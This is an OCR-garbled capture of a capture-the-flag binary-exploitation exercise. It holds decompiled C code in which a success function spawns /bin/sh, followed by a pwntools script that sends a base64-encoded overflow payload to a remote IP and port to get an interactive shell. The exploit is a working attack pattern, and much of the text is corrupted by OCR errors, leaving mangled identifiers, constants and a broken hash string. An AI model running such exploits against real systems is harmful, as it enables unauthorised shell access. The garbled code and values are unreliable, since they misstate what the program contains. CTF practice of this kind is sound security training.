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int _ cdecl main(int argc, censt char **argv, const char **envp)
i
int v4; // [esp+18h] [ebp-28h]
char s; f/ [esp+lEh] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-4h]
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memset(&s, 8, Bx1lEu);
setvbuf(stdout, @, 2, @);
9| setvbuf(stdin, @, 1, @);
12| printf("Authenticate : ™);
11| _isoc99 scanf("%38s", &s);
12 memset(&input, @, @xCu);
13| va = 8;

14 vE = Base6dDecode(&s, &vi);
15| if ( w6 > 8xC )
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16 {

17 puts("Wrong Length™);
138

19| else

200 { |

21 memcpy (&input, w4, va);
22 if ( auth(ve) == 1)

23 correct();
24

25 return @;

26[}
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BOOLE _ cdecl auth(int al)
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{
char v2; // [esp+l4h] [ebp-14h]
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+28h] [ebp-8h]

memcpy (&4, &input, al);

s2 = calc_mdS(&v2, 12);

printf({"hash : ¥s\n", s2)};

return strcmp("f87cde@laa’fedcadd8liaBbedseda3s”, s2) == 8;
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1peid _ noreturn correct()
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3| if ( input == -559838737 )

4

5 puts("Congratulation! you are good!™);
6 system("/bin/sh"};

7

8| exit(e);
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from pwn import *

import base64
#p=process('./fmt")
p=remote('111.198.29.45"',49541)
elf=ELF('./fmt")

def debug():

gdb.attach(p)

pause()

system_addr=0x08049284
input_addr=0x0811EB40
payload="a'*4+p32(system_addr)+p32(input_addr)
#debug()
p.sendline(base64.b64encode(payload))

p.interactive()
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